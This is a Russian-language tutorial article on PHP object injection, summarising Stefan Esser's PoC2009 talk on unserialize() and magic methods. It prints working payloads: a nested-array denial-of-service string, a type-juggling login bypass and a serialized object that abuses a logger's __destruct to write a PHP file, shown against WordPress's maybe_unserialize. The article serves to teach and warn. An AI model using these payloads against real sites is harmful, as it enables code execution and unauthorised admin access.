На повестке дня очень интересная тема - разбор презентации Стефана "Shocking
News in PHP Exploitation", которую он представил на всеобщее обозрение во время
конференции PoC2009 в Сеуле 5 ноября. Сразу спешу сообщить, что данное
исследование в большей степени направлено на будущее, так как на данный момент
очень немногие программисты стремятся воспользоваться всеми преимуществами
"волшебных методов" PHP, хотя многие векторы описываемой атаки уже сейчас
присущи таким великолепным вещам, как WordPress и Zend Framework.

 

Краткий ликбез

Для начала тебе стоит уяснить, что же это за "волшебные методы", для чего они
нужны и в каких случаях применяются.

Magic Methods - это, в дословном переводе, Магические Методы, которые
зарезервированы в php и всегда начинаются с двойного подчеркивания "__"
(создателями php не рекомендуется называть свои собственные методы, начиная с
этого самого "__", если ты хочешь использовать некоторую волшебную
функциональность).

Вот список таких методов:

__construct
__destruct
__call
__callStatic
__get
__set
__isset
__unset
__sleep
__wakeup
__toString
__set_state
__clone
__invoke

Теперь немного подробнее о каждом методе.

  1. "__construct" и "__destruct" - самые популярные методы, которые реализуют
    базовые понятия объектно-ориентированного программирования: конструктор и
    деструктор;
  2. "__call", "__callStatic", "__get" и "__set" - методы, связанные с
    перегрузкой обращений как к свойствам, так и к методам. Методы "__get()" и
    "__set()" вызываются при установке и получении значения свойства, а методы
    "__call()" и "__callStatic" - при вызове метода. Стоит заметить, что эти
    магические функции будут вызываться только и исключительно в том случае, если
    запрошенные метод или свойство не существуют;
  3. "__isset" - метод, срабатывающий при вызове функций empty() или isset() на
    несуществующем или недоступном свойстве класса;
  4. "__unset" - срабатывает при вызове функции unset() на несуществующем или
    недоступном свойстве класса;
  5. "__sleep" и "__wakeup" - методы, которые вызываются только из функций
    serialize и unserialize соответственно. Метод "__sleep" будет вызван сразу при
    применении к объекту функции serialize, а метод "__wakeup" - при применении
    unserialize. В настоящий момент методы применяются для сохранения текущего
    состояния системы с последующим восстановлением данного состояния (например,
    коннект к базе);
  6. "__toString" - метод, с помощью которого можно обращаться к классу как к
    строке (например, с помощью print или echo);
  7. "__set_state" - метод, который вызывается для классов, экспортирующих
    значения свойств функцией var_export();
  8. "__clone" - вызывается при клонировании объекта (введен для использования
    из-за того, что объекты в php5 и выше передаются по ссылке);
  9. "__invoke" - вызывается при попытке использовать объект в качестве
    функции.

В рамках статьи нас интересуют 3 описанных метода: "__destruct", "__wakeup" и
"__toString" - именно они могут вызываться при автозагрузке объектов из функции
unserialize.

 

Многострадальный unserialize

Немного отступимся от основной темы и рассмотрим некоторые особенности и
варианты эксплуатации функции unserialize(), которые отметил сам Эссер.

1. Пример от Стефана, в котором наглядно описаны все поддерживаемые функцией
типы данных:

a:3:{i:5;O:9:"TestClass":2:{s:7:"\0*\0pro1";i:123;s:
15:"\0TestClass\0pro2";i:123;}i:123;b:1;i:1337;a:3:{i:0;N;i:
1;i:5;i:2;a:1:{i:0;O:10:"OtherClass":4:{s:16:"\0OtherClass
\0pro1";s:6:"ABCDEF";s:16:"\0OtherClass\0pro2";s:3:"ABC";s:
16:"\0OtherClass\0pro3";R:2;s:16:"\0OtherClass\0pro4";N;}}}}

Здесь в сериализованной строке содержатся следующие данные:

b:1; //boolean
i:5; //integer
s:5:"ABCDE"; //string
a:3:{...} //array
O:9:"TestClass":1:{...} //object

В примере ты можешь заметить, возможно, неизвестные тебе форматы записи
переменных: "\0*\0pro1" и "\0TestClass\0pro2". "Что это за нулл-байты в именах
переменных?" - спросишь ты. Заходим на

www.php.net/manual/en/function.serialize.php
и читаем плашку с "Note":

Object's private members have the class name prepended to the member name;
protected members have a '*' prepended to the member name. These prepended
values have null bytes on either side.

Это нехитрое пояснение означает, что при сериализации объектов закрытые члены
класса должны предваряться именем класса, обрамленным нулл-байтами, а защищенные
объекты должны начинаться с "\0*\0".

Также, поясню, что в php5 существуют 3 дескриптора для осуществления контроля
над доступом к переменным и методам:

  • public (открытый): метод или переменная доступны из любого места в коде;
  • private (закрытый): закрытые методы или переменные доступны только внутри
    класса;
  • protected (защищенный): защищенные методы или переменные доступны только
    внутри класса, где они были объявлены, а также из его производных классов.

Данные особенности сериализации объектов означают, что при десериализации мы
можем перезаписать даже защищенные переменные внутри вызываемого класса!

2. Далее Эссер приводит пример легкой DoS-атаки с помощью описываемой
функции:

a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:
1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:
{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:
{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:
{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:
{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:
{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:
{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:
{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:
{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:
{a:1:{a:1:{...

3. И, наконец, известная тебе по древнему phpBB2 уязвимость с использованием
== вместо === при сравнении строк и типов данных, проявляющая себе через функцию
unserialize.

Уязвимый код:

<?php
$data = unserialize($autologin);
if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
$admin = true;
} else {
$admin = false;
}
?>

Эксплойт:

a:2:{s:8:"username";b:1;s:8:"password";b:1;}

Здесь имя пользователя и пароль устанавливаются в булево true, а затем скрипт
пускает нас в админку :).

 

Хитрые классы

Настало время вернуться к нашим баранам.

Итак, представь, что у нас имеется некая CMS, в которой существует некий
класс, где присутствует метод __destruct (__wakeup и __toString мы рассмотрим
немного позже и менее подробно, так как они пока что очень редки в реальной
жизни, хотя все описываемое в полной мере может относиться и к ним).

Вот исходник этого класса:

<?php
class testClass
{
protected $log_file='log'; //файл логов
private $path = './'; //путь к файлу логов
var $log_dump; //содержимое лога

//деструктор класса
function __destruct()
{
//сохраняем лог
$f = fopen($this->path.$this->log_file.'.txt','w');
fwrite($f,$this->log_dump);
fclose($f);
}
}
?>

Использоваться данный класс может, например, так:

<?php
$test = new testClass();
$test->log_dump = time();
unset($test);
?>

В данном примере сначала вызывается класс testClass, затем переменной
$log_dump устанавливается значение текущего времени, и вызванный объект
уничтожается.

Рассмотрим, что в это время происходит с самим объектом:

  1. Инициализируется класс (если бы существовал магический метод __construct,
    вызывался бы именно он);
  2. Устанавливаются защищенная и закрытая переменные $log_file и $path, в
    которых содержатся имя файла логов и путь к нему;
  3. Устанавливается внешняя переменная $log_dump - то, что мы будем записывать
    в лог-файл;
  4. Вызывается деструктор класса __destruct, во время чего в наш лог-файл
    log.txt записывается текущее время.

Как видишь, у нас получился неплохой пример логгера :).

 

Эксплуатируй это!

Теперь настало время представить, что описанный выше класс уже включен в код
нашей CMS и что вызываемые из базы данных поля профиля пользователя (или любые
другие поля) проверяются на сериализацию. В качестве примера подойдут функции из
уже известного тебе WordPress'а:

<?php
...
function is_serialized( $data ) {
// if it isn't a string, it isn't serialized
if ( !is_string( $data ) )
return false;
$data = trim( $data );
if ( 'N;' == $data )
return true;
if ( !preg_match( '/^([adObis]):/', $data, $badions ) )
return false;
switch ( $badions[1] ) {
case 'a' :
case 'O' :
case 's' :
if ( preg_match( "/^{$badions[1]}:[0-9]+:.*[;}]\$/s", $data ) )
return true;
break;
case 'b' :
case 'i' :
case 'd' :
if ( preg_match( "/^{$badions[1]}:[0-9.E-]+;\$/", $data ) )
return true;
break;
}
return false;
}
...
function maybe_unserialize( $original ) {
if ( is_serialized( $original ) ) // don't attempt to unserialize data that
wasn't serialized going in
return @unserialize( $original );
return $original;
}
...
?>

Здесь видно, что, будучи примененной к какой-либо строке, при определенных
условиях функция maybe_unserialize() может пропустить оную через нужную нам
unserialize().

Рассмотрим подробнее наш класс testClass в контексте сериализации:

  1. Переменная $log_file является защищенной, следовательно, при сериализации
    она должна выглядеть как "\0*\0log_file";
  2. Переменная $path является закрытой и при сериализации выглядит как
    "\0testClass\0path" (префикс - имя класса);
  3. Последняя переменная $log_dump является открытой всюду и для всех, так что
    никаких специальных манипуляций с ней проводить не нужно.

Из данных утверждений вытекает возможный эксплойт:

<?php
//$pole - может быть извлеченным из БД полем
$pole =
"O:9:\"testClass\":3:{s:11:\"\0*\0log_file\";s:9:\"evil.php\0\";s:15:\"\0test
Class\0path\";s:2:\"./\";s:8:\"log_dump\";s:16:\"<? phpinfo(); ?>\";}"
$pole = maybe_unserialize($pole);
?>

В примере наш объект вызывается с предустановленными переменными $log_file =
"evil.php\0"; (нулл-байт нужен для обрезания предустановленного в классе
расширения .txt) и $log_dump = "<? phpinfo(); ?>";. После десериализации, а
следовательно, и уничтожения объекта в директории с логами должен появиться файл
evil.php, содержащий наш злонамеренный код :).

В случае с __wakeup вся эксплуатация выглядит совершенно таким же образом
(потому что этот метод также вызывается при десериализации), а вот в случае с
__toString уязвимый код в CMS должен выглядеть чуть-чуть иначе:

<?php
...
print unserialize($pole);
...
?>

Здесь десериализованная строка должна сразу же выводиться на экран с помощью
print или echo, - тогда и только тогда будет вызван указанный метод.

Для более глубокого понимания описанного класса уязвимостей советую
внимательно изучить презентации Стефана Эссера (ссылки, как всегда, ищи в
сносках). В них содержатся реальные примеры использования метода __destruct в
Zend Framework с выполнением кода через preg_replace, инклудом удаленных файлов,
загрузкой и удалением произвольных файлов и т.д.

 

Memento

Описанное выше является лишь документированными возможностями нашего любимого
PHP, просто существуют специалисты, которые изучают эти возможности немного
глубже, чем обычные кодеры :). Так что, рекомендую с огромной осторожностью
применять в своих проектах магические методы __wakeup, __toString и __destruct
вкупе с десериализацией любого пользовательского ввода (вообще, никогда не стоит
доверять пользователям). Я же с нетерпением буду ждать новых исследований от
Стефана Эссера, чего и тебе советую!

 

Ссылки по теме

php.net/serialize -
все о функции serialize.
php.net/unserialize -
все о функции unserialize.

php.net/manual/en/language.oop5.magic.php
- магические методы php.

php.net/oop5.overloading
- перегрузка объектов в php5.

php.net/manual/en/language.oop5.autoload.php
- автозагрузка объектов в php5.
suspekt.org - официальный блог
Стефана Эссера.

suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf
-
презентация Стефана на PoC2009.

suspekt.org/downloads/RSS09-WebApplicationFirewallBypassesAndPHPExploits.pdf

- презентация на RSS09.
powerofcommunity.net -
официальный сайт конференции PoC.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии